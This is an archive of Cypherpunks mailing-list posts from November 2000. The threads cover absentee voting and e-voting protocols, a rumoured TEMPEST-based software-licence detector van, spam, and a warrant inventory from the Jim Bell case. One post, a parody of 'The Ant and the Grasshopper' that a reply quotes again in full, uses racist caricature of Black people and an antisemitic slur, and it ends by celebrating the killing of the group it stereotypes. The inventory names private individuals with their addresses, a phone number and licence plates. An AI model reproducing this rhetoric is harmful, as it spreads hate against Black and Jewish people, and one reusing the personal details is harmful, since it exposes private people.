(Phaedrus) Date: Mon, 13 Nov 2000 17:49:45 -0600 (CST) Subject: CDR: Re: A secure voting protocol In-Reply-To: Message-ID: On Mon, 13 Nov 2000, Tim May wrote: > California absentee ballots require no such thing. My parents, as I > said, voted absentee California for many years. They simply filled > out their absentee ballots and dropped them in the mailbox. I'm fairly sure that virginia in 1996 was similar -- I voted absentee in VA that year (being a college student at the time) and I don't recall having to find a notary public, which, given that I was in bumfuck, west virginia would have been a significant outing (along the lines of going to K-mart -- and I remember all the times we did that...) Ph. From declan at well.com Mon Nov 13 14:53:19 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 13 Nov 2000 17:53:19 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: ; from tcmay@got.net on Mon, Nov 13, 2000 at 11:08:01AM -0800 References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> Message-ID: <20001113175319.A24189@cluebot.com> On Mon, Nov 13, 2000 at 11:08:01AM -0800, Tim May wrote: > A "vote at home" protocol is vulnerable to all sorts of mischief that > has nothing to do with hackers intercepting the vote, blah blah. Righto. Absentee ballots require a witness, usually an officer (if you're in the military) or a notary-type, to reduct in par tthe intimidation problem. -Declan From declan at well.com Mon Nov 13 14:56:18 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 13 Nov 2000 17:56:18 -0500 Subject: CDR: Re: what hell In-Reply-To: ; from banshe15@hotmail.com on Mon, Nov 13, 2000 at 08:30:14PM +0000 References: Message-ID: <20001113175618.B24189@cluebot.com> Yes. On Mon, Nov 13, 2000 at 08:30:14PM +0000, ernesto leonardo soberanes rendon wrote: > AM IN THIS PAGE AND I DONT GET IT WHAT ITS ALL ABOUT SO PLEASE TELL ME WHAT > CAND I DO WITH THIS INFORMATION I CAN LEARN FROM THIS OR WHAT I CAN TALK > WITH SOMEBODY AM CONFUSE I WAS READING A FEW EMAILS FROM PEOPLE I NEVER MEET > BEFORE SO THIS IS LEGAL I APRECIATE YOU CAN ANSWER THIS MAIL THANKS. > > ERNESTO. > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > Share information about yourself, create your own public profile at > http://profiles.msn.com. > From hseaver at harmon.arrowhead.lib.mn.us Mon Nov 13 15:02:26 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Mon, 13 Nov 2000 18:02:26 -0500 Subject: CDR: Re: what hell References: <20001113175618.B24189@cluebot.com> Message-ID: <3A107331.84CCB6D9@harmon.arrowhead.lib.mn.us> Declan McCullagh wrote: > Yes. > Oh, Declan, you were ever so much more voluble on NPR this morning. 8-) -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From melliott at ncsa.uiuc.edu Mon Nov 13 15:06:27 2000 From: melliott at ncsa.uiuc.edu (Matt Elliott) Date: Mon, 13 Nov 2000 18:06:27 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: Message-ID: >So, what's with this business about the absentee ballots coming in >until Friday, November 17th? Federal law that trumps the state's laws. The federal laws only applies to certain classes of absentees. For those that weren't covered by the Federal standard the state standard applies. I believe the state standard applies to state and local offices as well. So the late arriving ballots will only effect the national offices, not the state ones. But since I'm in Tim's kill file he won't get to see any of this wisdom. From k.brown at ccs.bbk.ac.uk Mon Nov 13 10:42:18 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 13 Nov 2000 18:42:18 +0000 Subject: CDR: Re: A secure voting protocol References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> Message-ID: <3A10360A.6C87DE38@ccs.bbk.ac.uk> Augusto Jun Devegili replied to Tim May: > > It won't happen in our lifetimes. It may happen in European nations, > > but only because the average citizen does what he is told to do more > > so than American paranoids and individualists will do. > > [Augusto] I would like to see this happening after the scientific/academic > community approves a secure protocol and its implementation architecture. > And I also understand that it will be quite hard to convince the general > voter of the security of e-voting. I think I have to agree with Tim here. That blind-sign-sign-blind-vote protocol might be wonderful but is not going to be accepted by the average voter. Or even the brainiest. And us non-individualistic Brits are so non-paranoid that we still won't accept voting machines or mechanical counting. All done by crosses on the paper, counted by hand, with the candidates in the room watching the counters. Which is the best defence against fraud. Everything is literally out in the open, on big tables, with the candidates there, and paranoid card-player rules - all boxes sealed at the polling station and opened again at the count before witnesses, no-one except the counters & Returning Officer (a sort of election supervisor) to physically touch the ballots, no hands under the table, the counters can't even wear jackets in some places. It works. Ken From k.brown at ccs.bbk.ac.uk Mon Nov 13 10:43:58 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 13 Nov 2000 18:43:58 +0000 Subject: CDR: Re: Stop sending me these emails References: <85256996.0060A426.00@snt-smtp-01.soc.mony.com> Message-ID: <3A10366E.2A4CB9E7@ccs.bbk.ac.uk> Yes. Whoever subscribed you to the list. It isn't a "site" it is a mailing list. Gerry_Inman at mony.com wrote: > > Can anyone tell how I can stop receiving emails from your site? > > Gerry Inman From njohnson at interl.net Mon Nov 13 16:45:07 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 13 Nov 2000 18:45:07 -0600 Subject: CDR: Re: Re: A secure voting protocol References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: <010401c04dd4$23868d80$0100a8c0@nandts> I voted by absentee ballot in 96. Iowa: 1. Mail in a request for one (Used a form I received in some Democratic campaign literature, though I didn't vote that way :) ) 2. Get the ballot in Mail, 3. Fill it out (#2 Pencil Please!), 4. Place ballot in an "anonymity" envelope, 5. Put it in another envelope you sign saying it's truly your vote. 6. Put it in the mailing envelope and send it on its way. Went to the polls this year (Didn't get a form from anyone in the mail, too lazy to write my own letter). Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Tim May" To: Sent: Monday, November 13, 2000 4:41 PM Subject: CDR: Re: A secure voting protocol > At 5:53 PM -0500 11/13/00, Declan McCullagh wrote: > >On Mon, Nov 13, 2000 at 11:08:01AM -0800, Tim May wrote: > >> A "vote at home" protocol is vulnerable to all sorts of mischief that > >> has nothing to do with hackers intercepting the vote, blah blah. > > > >Righto. Absentee ballots require a witness, usually an officer (if > >you're in the military) or a notary-type, to reduct in par tthe > >intimidation problem. > > > California absentee ballots require no such thing. My parents, as I > said, voted absentee California for many years. They simply filled > out their absentee ballots and dropped them in the mailbox. > > Maybe the rules were later changed. From 1961 to 1977, this is the way it was. > > I just checked. http://www.ss.ca.gov/elections/elections_m.htm > > "To vote an absentee ballot, a voter needs to submit a completed > application or letter to the county elections official between 29 > days and 7 days before the election. The application or letter must > contain the voter's name as registered, the registered voter address, > the address to which the absentee ballot should be sent if different > than the registered voter address, the name and date of the election > for which the applicant wants the mail-in ballot, and the voter's > signature. Once the application is processed by the county elections > official, the proper ballot type/style will be sent to the voter. You > must then cast your ballot and insert it in the envelope provided for > this purpose, making sure you complete all required information on > the envelope. Although you sign the outer envelope in order to > establish your eligibility to vote, your absentee ballot will be > separated from the envelope prior to counting the ballots so that > there is no way to violate your confidential vote. You may mail back > your voted absentee ballot, return it in person to the polls or > county elections office on election day, or, under certain > conditions, authorize a legally-allowable third party (relative)to > return the ballot in your behalf -- but regardless of how the ballot > is returned, it MUST be received by the county elections office by > the time polls close (8 p.m.) on election day. Late-arriving absentee > ballots are not counted." > > No mention of getting a witness, etc. > > I'll leave it for others to check on Florida, Idaho, etc. versions. > > --Tim May > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > From schear at lvcm.com Mon Nov 13 18:49:59 2000 From: schear at lvcm.com (Steve Schear) Date: Mon, 13 Nov 2000 18:49:59 -0800 Subject: BSA deploys imaginary pirate software detector vans In-Reply-To: <014d01c04dd7$ed3bcac0$0100a8c0@nandts> References: Message-ID: <4.3.2.7.0.20001113184726.05544f00@pop3.lvcm.com> At 07:12 PM 11/13/00 -0600, Neil Johnson wrote: >The general idea is to pick up and decode the RF emissions generated by the >CPU, Memory, I/O and Video systems to figure out what the computer is doing. > >It takes some work (not as much as you would think), but there have been >documented demonstrations where the video signals from a PC were picked up >and reproduced on another monitor several hundred feet away. > >TEMPEST is the "code" name for the U.S. Governments standards for shielding >computer equipment used for classified work inorder to prevent such >eavesdropping. > >The technique is often referred to as "Van Eck Phreaking" (sic). As I recall one suggested method in the paper involved some cleaver manipulation of pixel intensities and/or location to create the equivalent of a high process gain spread spectrum signal. Brilliant concept. steve From njohnson at interl.net Mon Nov 13 17:12:13 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 13 Nov 2000 19:12:13 -0600 Subject: BSA deploys imaginary pirate software detector vans References: Message-ID: <014d01c04dd7$ed3bcac0$0100a8c0@nandts> The general idea is to pick up and decode the RF emissions generated by the CPU, Memory, I/O and Video systems to figure out what the computer is doing. It takes some work (not as much as you would think), but there have been documented demonstrations where the video signals from a PC were picked up and reproduced on another monitor several hundred feet away. TEMPEST is the "code" name for the U.S. Governments standards for shielding computer equipment used for classified work inorder to prevent such eavesdropping. The technique is often referred to as "Van Eck Phreaking" (sic). Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Tib" To: "Ian BROWN" Cc: "Neil Johnson" ; "cypherpunks" ; "cryptography" ; "cypherpunks" ; Sent: Monday, November 13, 2000 4:32 PM Subject: Re: BSA deploys imaginary pirate software detector vans > On Fri, 10 Nov 2000, Ian BROWN wrote: > > > >Wasn't there some articles some time ago about Microsoft doing research into > > >Tempest/Van Eck (sp) radiation ? It was speculated at the time that they > > >were going include software to "broadcast" their serial numbers so that > > >illegal copies could be detected. > > > > This was a suggestion by Markus Kuhn and Ross Anderson (at Cambridge > > University). The paper is at http://www.cl.cam.ac.uk/~mgk25/ih98-tempest.pdf > > > > "Our suggestion is that software packages include in their screen layout a few > > lines with a signal that encodes the license serial number plus a random value > > . . . a "software detector van" can be used to patrol business districts and > > other areas where software piracy is suspected. If the van receives twenty > > signals from the same copy of a software from a company that has only licensed > > five copies, then probable cause for a search warrant has been established." > > p.13 > > Hope I'm not being totally naive about the capability of computer hardware, but > I sure don't recall my PC (or any that I have ever had or can think of > seeing) having short range broadcasting capabilities. How would this be > theorheticly possible (despite the utter nonsense that the rumor must be) to > accomplish, if at all? > > > Tib > From koree at bigfoot.com Mon Nov 13 19:12:21 2000 From: koree at bigfoot.com (koree at bigfoot.com) Date: Mon, 13 Nov 2000 19:12:21 -0800 (PST) Subject: CDR: Boost your IT Connection&PC Speed! Protect your Privacy! -MIPD Message-ID: <200011140312.TAA16748@cyberpass.net> Hello cypherpunks! Boost your Internet Connection Speed by up to 200%! Speed up your computer! Protect your personal information while you use the Internet! Make money as partner! Just go to: http://www.virtue.nu/spdgu/ http://www.geocities.com/spdgu/ ******************************************************* Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to to this email address with the word REMOVE in the subject line. From tcmay at got.net Mon Nov 13 19:17:14 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 19:17:14 -0800 Subject: CDR: The Ant and the Grasshopper, Election Version In-Reply-To: References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: The Ant and the Grasshopper, Election Version Original The ant works hard in the withering heat all summer long, building his house and laying up supplies for the winter. The grasshopper thinks he's a fool and laughs and dances and plays the summer away. Come winter, the ant is warm and well fed. The grasshopper has no food or shelter so he dies out in the cold. Da Hoppers in Da 'Hood The ants work hard to make their businesses prosperous, their farms productive. They save and invest and educate their children. The grasshoppers party all summer, hangin' out with the homeys, struttin' on the beaches, and figurin' that Massah Bill Clintonhopper in the Big White Plantation House will keep on sending dat federal welfare money to Florida to keep the crack pipes full. To a Grasshopper-American, it's all obvious: Why work when government is there? Why save when Hillary is promising to raise taxes on the ants? Hard work is for suckers, or, as they say, suckas. Besides, Albert Gorehopper invented the Internet. Ironically, the hard-working ants make use of the Internet, but the crack-smoking hopheads say that "books are for whitey." Better yet, to the grasshoppers, the top Demohoppers have made it their top campaign pledge to take away the guns of the ants. (The Hopper Bloods and Crips get a good laugh out of this one, as they know the hopper gangbangers will still have their Uzis and AKs.) Winter arrives, and the Demohoppers have made their final promises to the crack-dealing, Bingo-playing, welfare-taking grasshoppers of Florida. The ants are wary, fearing what the grasshoppers will do in the name of "democratic fairness." The ants appear to have won the vote, but the Demohoppers in Palm Beach County claim that some butterflies confused them and that they want a "do over." Hopper Jesse Jackson, who once called New York City "Hymietown," has made a new alliance with the "Judenhoppers" of affluent Palm Beach. He calls in Al Sharpton, Alan Dershowitz, and Tawana Brawley to help his Hopper Crusade. He threatens a war between the ants and the grasshoppers unless the hoppers get as many chances to vote and re-vote and fiddle with the ballots as they need to let Albert Gorehopper win. The grasshopper strategy is to take the counties which were most heavily infested with grasshoppers and then do a "manual count" to find more votes which the neutral machines had rejected because they were incorrectly punched, or double punched, or had chads hanging. The grasshoppers have been told that, from basic statistics, this biased re-counting will ensure that Albert Gorehopper gets enough extra votes to win. The ants say that this is a theft of the election and that the grasshoppers just want more handouts from the hopheads in Hopperton, D.C., and, besides, if the grasshoppers had bothered to learn how to read and weren't smoking so much crack they'd've had no problems with butterflies. The Chief Grasshopper sends his team of lawyerlocusts, close relatives of grasshoppers, into Florida. The ants try to block a recount in hopper havens like Broward, Palm, and Volushia. The Grasshopper-Americans scream dat dis be racist! The promised war begins and the ants kill all the grasshoppers. No longer will the grasshoppers use the "democratic process" to take the food the ants had worked so hard for. Life is once again good. [Note: I wrote everything here except the "Original." I mention this because it is routine for people to pass around various versions of the "Ant and the Grasshopper" without indicating who wrote which parts. So, Tim May wrote all but the opening set-up paragraph. Tim May, 11-13-2000] -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bpayne37 at home.com Mon Nov 13 19:08:11 2000 From: bpayne37 at home.com (bill payne) Date: Mon, 13 Nov 2000 20:08:11 -0700 Subject: CDR: cyhperpunks on the web Message-ID: <3A10AC9B.51736238@home.com> You guys have done real DAMAGE! http://www.inet-one.com/cypherpunks/dir.1998.01.08-1998.01.14/msg00018.html Senior citizen Morales and I just want to get out of these messes. With our money, of course. But we are, of course, a bit on the wild side http://www.geocities.com/CapitolHill/Congress/8327/load1.html Best and , of course, KEEP UP-WIND! From ravage at ssz.com Mon Nov 13 18:12:04 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 13 Nov 2000 20:12:04 -0600 (CST) Subject: CDR: [psychohistory] Daniel L. McFadden - 2000 Economics Nobel Prize (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Tue, 14 Nov 2000 01:06:37 -0000 From: "Marco A. Argotte" Reply-To: psychohistory at egroups.com To: psychohistory at egroups.com Subject: [psychohistory] Daniel L. McFadden - 2000 Economics Nobel Prize Hi everyone Glad to see that we are still alive and kicking. For those that might be interested, a brief extract from the this webpage: http://nobel.sdsc.edu/announcement/2000/ecoinfoen.html { Opening material on another laureate omitted } Daniel L. McFadden Daniel McFadden's most significant contribution is his development of the economic theory and econometric methodology for analysis of discrete choice, i.e., choice among a finite set of decision alternatives. A recurring theme in McFadden's research is his ability to combine economic theory, statistical methods and empirical applications, where his ultimate goal has often been a desire to resolve social problems. Discrete Choice Analysis Microdata often reflect discrete choices. In a database, information about individuals' occupation, place of residence, or travel mode reflects the choices they have made among a limited number of alternatives. In economic theory, traditional demand analysis presupposes that individual choice be represented by a continuous variable, thereby rendering it inappropriate for studying discrete choice behavior. Prior to McFadden's prizewinning achievements, empirical studies of such choices lacked a foundation in economic theory. McFadden's Contributions McFadden's theory of discrete choice emanates from microeconomic theory, according to which each individual chooses a specific alternative that maximizes his utility. However, as the researcher cannot observe all the factors affecting individual choices, he perceives a random variation across individuals with the same observed characteristics. On the basis of his new theory, McFadden developed microeconometric models that can be used, for example, to predict the share of a population that will choose different alternatives. McFadden's seminal contribution is his development of so-called conditional logit analysis in 1974. In order to describe this model, suppose that each individual in a population faces a number (say, J) of alternatives. Let X denote the characteristics associated with each alternative and Z the characteristics of the individuals that the researcher can observe in his data. In a study of the choice of travel mode, for instance, where the alternatives may be car, bus or subway, X would then include information about time and costs, while Z might cover data on age, income and education. But differences among individuals and alternatives other than X and Z, although unobservable to the researcher, also determine an individual's utility-maximizing choice. Such characteristics are represented by random "error terms". McFadden assumed that these random errors have a specific statistical distribution (termed an extreme value distribution) in the population. Under these conditions (plus some technical assumptions), he demonstrated that the probability that individual i will choose alternative j can be written as: { Formula omitted } In this so-called multinomial logit model, e is the base of the natural logarithm, while ... and ... are (vectors of) parameters. In his database, the researcher can observe the variables X and Z, as well as the alternative the individual in fact chooses. As a result, he is able to estimate the parameters and using well-known statistical methods. Even though logit models had been around for some time, McFadden's derivation of the model was entirely new and was immediately recognized as a fundamental breakthrough. Such models are highly useful and are routinely applied in studies of urban travel demand. They can thus be used in traffic planning to examine the effects of policy measures as well as other social and/or environmental changes. For example, these models can explain how changes in price, improved accessibility or shifts in the demographic composition of the population affect the shares of travel using alternative means of transportation. The models are also relevant in numerous other areas, such as in studies of the choice of dwelling, place of residence, and education. McFadden has applied his own methods to analyze a number of social issues, such as the demand for residential energy, telephone services and housing for the elderly. Methodological Elaboration Conditional logit models have the peculiar property that the relative probabilities of choosing between two alternatives, say, travel by bus or car, are independent of the price and quality of other transportation options. This property - called independence of irrelevant alternatives (IIA) - is unrealistic in certain applications. McFadden not only devised statistical tests to ascertain whether IIA is satisfied, but also introduced more general models, such as the so-called nested logit model. Here, it is assumed that individuals' choices can be ordered in a specific sequence. For instance, when studying decisions regarding place of residence and type of housing, an individual is assumed to begin by choosing the location and then the type of dwelling. Even with these generalizations, the models are sensitive to the specific assumptions about the distribution of unobserved characteristics in the population. Over the last decade, McFadden has elaborated on simulation models (the method of simulated moments) for statistical estimation of discrete choice models allowing much more general assumptions. Increasingly powerful computers have enhanced the practical applicability of these numerical methods. As a result, individuals' discrete choices can now be portrayed with greater realism and their decisions predicted more accurately. { Ending bit omitted } **** -------------------------- eGroups Sponsor -------------------------~-~> Create your business web site your way now at Bigstep.com. It's the fast, easy way to get online, to promote your business, and to sell your products and services. Try Bigstep.com now. http://click.egroups.com/1/9183/2/_/13676/_/974165026/ ---------------------------------------------------------------------_-> --------------------------------------------------------------------~-~> to unsubscribe from this group, send a blank message to mailto:psychohistory-unsubscribe at egroups.com ---------------------------------------------------------------------_-> From AbuseMeister at pythonline.com Mon Nov 13 12:26:09 2000 From: AbuseMeister at pythonline.com (AbuseMeister at pythonline.com) Date: Mon, 13 Nov 2000 20:26:09 GMT Subject: CDR: Greetings from www.PythOnline.com Message-ID: <200011132026.UAA20845@tickets.artistdirect.com> You pathetic twerp. I fart in your general direction! Take your finger our of your sphincter. May the bird of paradise fly up your ass, Your ex-Parrot Gordon From banshe15 at hotmail.com Mon Nov 13 12:30:14 2000 From: banshe15 at hotmail.com (ernesto leonardo soberanes rendon) Date: Mon, 13 Nov 2000 20:30:14 GMT Subject: CDR: what hell Message-ID: AM IN THIS PAGE AND I DONT GET IT WHAT ITS ALL ABOUT SO PLEASE TELL ME WHAT CAND I DO WITH THIS INFORMATION I CAN LEARN FROM THIS OR WHAT I CAN TALK WITH SOMEBODY AM CONFUSE I WAS READING A FEW EMAILS FROM PEOPLE I NEVER MEET BEFORE SO THIS IS LEGAL I APRECIATE YOU CAN ANSWER THIS MAIL THANKS. ERNESTO. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From sidford98 at cwcom.net Mon Nov 13 12:30:14 2000 From: sidford98 at cwcom.net (NTL) Date: Mon, 13 Nov 2000 20:30:14 -0000 Subject: No subject Message-ID: <000c01c04db0$8a6d36d0$0100fea9@nt4svr533> :: Send-To::raksid at cwcom.net Test message From tcmay at got.net Mon Nov 13 20:42:18 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 20:42:18 -0800 Subject: CDR: Re: The Ant and the Grasshopper, Election Version In-Reply-To: <022f01c04df2$6104c1e0$0100a8c0@nandts> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> <022f01c04df2$6104c1e0$0100a8c0@nandts> Message-ID: At 10:21 PM -0600 11/13/00, Neil Johnson wrote: >Tim, > >Probably not a good idea to use ants as the heroes in YOUR story since they >are probably the best example of the subjugation of individual freedoms to >the goals of a society. Of course any animal is going to be an imperfect fit to a political point. Both ants and bees, to just name two, are "social insects." Anyway, we are stuck with the basic core, brilliantly given to us 2500 years ago by Aesop (my recollection is that he compiled standard fables). A pity that today's children are so busy being fed junk like "Heather Has Two Mommies" and are not being taught the most basic core values. Of course, I am not arguing that it is the role of State education to do this...this is why parents should not be taxed for schools. Or, failing this, they should at least get vouchers for the school of their choice. Or, failing either of these better alternatives, set up a fairly simple system of "Blue" and "Red" schools, with competing curricula. The Blue School teaches reading, writing, and arithmetic, plus mix-ins of history, sports, science, etc. The Red School teaches self-esteem, racial harmony, the joys of lesbian sex, the horrors of capitalism, etc. Let parents decide which school they want their children in. If 70% want their kids in the Red School, so be it. By the way, this can logistically be done simply by erecting a moveable barrier down the middle of a school. Minor issues, not insurmountable. Then, as the parental preference shifts the percentage, the barrier can be moved. Apparently complex problems often have simple solutions, something I once learned from John McCarthy. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From njohnson at interl.net Mon Nov 13 18:59:43 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 13 Nov 2000 20:59:43 -0600 Subject: CDR: Re: Re: BSA deploys imaginary pirate software detector vans References: <4.3.2.7.0.20001113184726.05544f00@pop3.lvcm.com> Message-ID: <017401c04de6$f1927ce0$0100a8c0@nandts> I forgot to add that the rumor was that Micro$oft was looking into ways to add software to their applications to manipulate the generation of these RF emissions so they could broadcast the application's serial number. They could then drive a "sniffer" truck around and look for duplicate serial numbers in order to find illegal copies of their software being used. As stated by others, this was just a rumor. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From mnorton at cavern.uark.edu Mon Nov 13 19:54:26 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Mon, 13 Nov 2000 21:54:26 -0600 (CST) Subject: CDR: Re: The Ant and the Grasshopper, Election Version In-Reply-To: Message-ID: And then the locusts descend. And they feed. Because the ants and the grasshoppers never could get their shit together. MacN On Mon, 13 Nov 2000, Tim May wrote: > > > > The Ant and the Grasshopper, Election Version > > > Original > > The ant works hard in the withering heat all summer long, building > his house and laying up supplies for the winter. The grasshopper > thinks he's a fool and laughs and dances and plays the summer away. > Come winter, the ant is warm and well fed. The grasshopper has no > food or shelter so he dies out in the cold. > > > Da Hoppers in Da 'Hood > > The ants work hard to make their businesses prosperous, their farms > productive. They save and invest and educate their children. The > grasshoppers party all summer, hangin' out with the homeys, struttin' > on the beaches, and figurin' that Massah Bill Clintonhopper in the > Big White Plantation House will keep on sending dat federal welfare > money to Florida to keep the crack pipes full. > > To a Grasshopper-American, it's all obvious: Why work when government > is there? Why save when Hillary is promising to raise taxes on the > ants? Hard work is for suckers, or, as they say, suckas. Besides, > Albert Gorehopper invented the Internet. Ironically, the hard-working > ants make use of the Internet, but the crack-smoking hopheads say > that "books are for whitey." Better yet, to the grasshoppers, the top > Demohoppers have made it their top campaign pledge to take away the > guns of the ants. (The Hopper Bloods and Crips get a good laugh out > of this one, as they know the hopper gangbangers will still have > their Uzis and AKs.) > > Winter arrives, and the Demohoppers have made their final promises to > the crack-dealing, Bingo-playing, welfare-taking grasshoppers of > Florida. The ants are wary, fearing what the grasshoppers will do in > the name of "democratic fairness." > > The ants appear to have won the vote, but the Demohoppers in Palm > Beach County claim that some butterflies confused them and that they > want a "do over." Hopper Jesse Jackson, who once called New York City > "Hymietown," has made a new alliance with the "Judenhoppers" of > affluent Palm Beach. He calls in Al Sharpton, Alan Dershowitz, and > Tawana Brawley to help his Hopper Crusade. He threatens a war between > the ants and the grasshoppers unless the hoppers get as many chances > to vote and re-vote and fiddle with the ballots as they need to let > Albert Gorehopper win. > > The grasshopper strategy is to take the counties which were most > heavily infested with grasshoppers and then do a "manual count" to > find more votes which the neutral machines had rejected because they > were incorrectly punched, or double punched, or had chads hanging. > The grasshoppers have been told that, from basic statistics, this > biased re-counting will ensure that Albert Gorehopper gets enough > extra votes to win. > > The ants say that this is a theft of the election and that the > grasshoppers just want more handouts from the hopheads in Hopperton, > D.C., and, besides, if the grasshoppers had bothered to learn how to > read and weren't smoking so much crack they'd've had no problems with > butterflies. > > The Chief Grasshopper sends his team of lawyerlocusts, close > relatives of grasshoppers, into Florida. The ants try to block a > recount in hopper havens like Broward, Palm, and Volushia. The > Grasshopper-Americans scream dat dis be racist! > > The promised war begins and the ants kill all the grasshoppers. No > longer will the grasshoppers use the "democratic process" to take the > food the ants had worked so hard for. Life is once again good. > > > > > [Note: I wrote everything here except the "Original." I mention this > because it is routine for people to pass around various versions of > the "Ant and the Grasshopper" without indicating who wrote which > parts. So, Tim May wrote all but the opening set-up paragraph. Tim > May, 11-13-2000] > > > > > > > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > > From marshall at athena.net.dhis.org Mon Nov 13 18:58:55 2000 From: marshall at athena.net.dhis.org (David Marshall) Date: Mon, 13 Nov 2000 21:58:55 -0500 Subject: CDR: Re: Stop sending me these emails In-Reply-To: Gerry_Inman@mony.com's message of "Mon, 13 Nov 2000 12:42:53 -0500" References: <85256996.0060A426.00@snt-smtp-01.soc.mony.com> Message-ID: <87vgtrs1is.fsf@athena.dhis.org> Gerry_Inman at mony.com writes: > Can anyone tell how I can stop receiving emails from your site? > > Gerry Inman My site isn't sending you any email. On the assumption that you're talking about the mailing list, try following the instructions you were given when you signed up. Clues are your friend. Find one. ObCypherpunks: Anyone notice the last name? :) From nobody at dizum.com Mon Nov 13 13:10:09 2000 From: nobody at dizum.com (Nomen Nescio) Date: Mon, 13 Nov 2000 22:10:09 +0100 (CET) Subject: CDR: Bell's warrant return inventory Message-ID: Declan wrote: [snip] > I've included links to the original documents in this article: > http://www.cluebot.com/article.pl?sid=00/11/11/101218&mode=nested from the 11/06/2000 Warrant Return Inventory (http://www.politechbot.com/docs/bell0004.jpg): 1 White Paper with address of 701 5th Seattle, 206-346-1806 2 Info Space People Search results: SHERMAN, BRENT 4 pages 3 Internet Map Search results: 392 Alameda Ave, Astoria Oregon 4 Email Message, re: August 18/19 5 Copies US Treasury Check, Copies Edison Intern'l common stock dividend checks 6 Clark County Receipt "330197"; Clark Co. Receipt $16.00; Note w/ license number 616-AQQ 7 Not seized 8 Handwritten document with vehicle license plates 9 Paper documents relating to JEFF/JEFFREY GORDON 10 Six Compact Disc ROM's relating to Oregon Dept of Motor Vehicles Database 11 Three phone disc CD Rom's - Digital Directory Assistance, INC 12 Floppy dis; Power transformer attached to computer 13 Email from Robert East to Jim Bell 14 Printed documents related to Ryan Lund 15 TIGTA fax-dated 7/31/00 16 One envelope to James Bell re: Lund; Doc's re: LUND; color print of map re: 1116 NE 58th, Vancouver 17 Computer floppy Disks - six 3.5 inch 18 One floppy disk, "ATF Thug Hunt" handwritten on label 19 One spiral notebook of handwritten notes related to JEFF GORDON 20 Three pads of paper w/ GPS readings; w/King, Sundown, Jose Martinez, License Plates; w/Riten King Sundown 21 Various documents, computer printouts re: Lund, Fed Spy, DMV records 22 Twelve stapled pages of DMV printouts re: Bend, OR, 23 Five stapled pages of DMV printouts, concerning CIA mapquest maps 24 US District Court filings by RYAN LUND, research on CHAD PETERSON, docs on W. Martin 25 One printed sheet each, re: LISA STEVENSON, JEFFERY GORDON 26 Folder marked "Spy Research" 27 One blue three ring binder containing documents re: SABAN and SUNDOWN 28 Identification and criminal history section "WSP Watch re: Lund, thomas, Oct 27, 1971, 6/23/00 29 Mapquest print for address "8 Towhee Ln, Bend, OR, 2 pages 30 CPU: Gateway, ATX Tower, Serial 0018625569, manf 5/10/00 31 CPU: generic, no serial number 32 CPU: generic, no serial number 33 Various photographs, voter registration records, Ryan Lund Documents, Greg Daly, DMV Info 34 Documents re: Ryan Lund, one 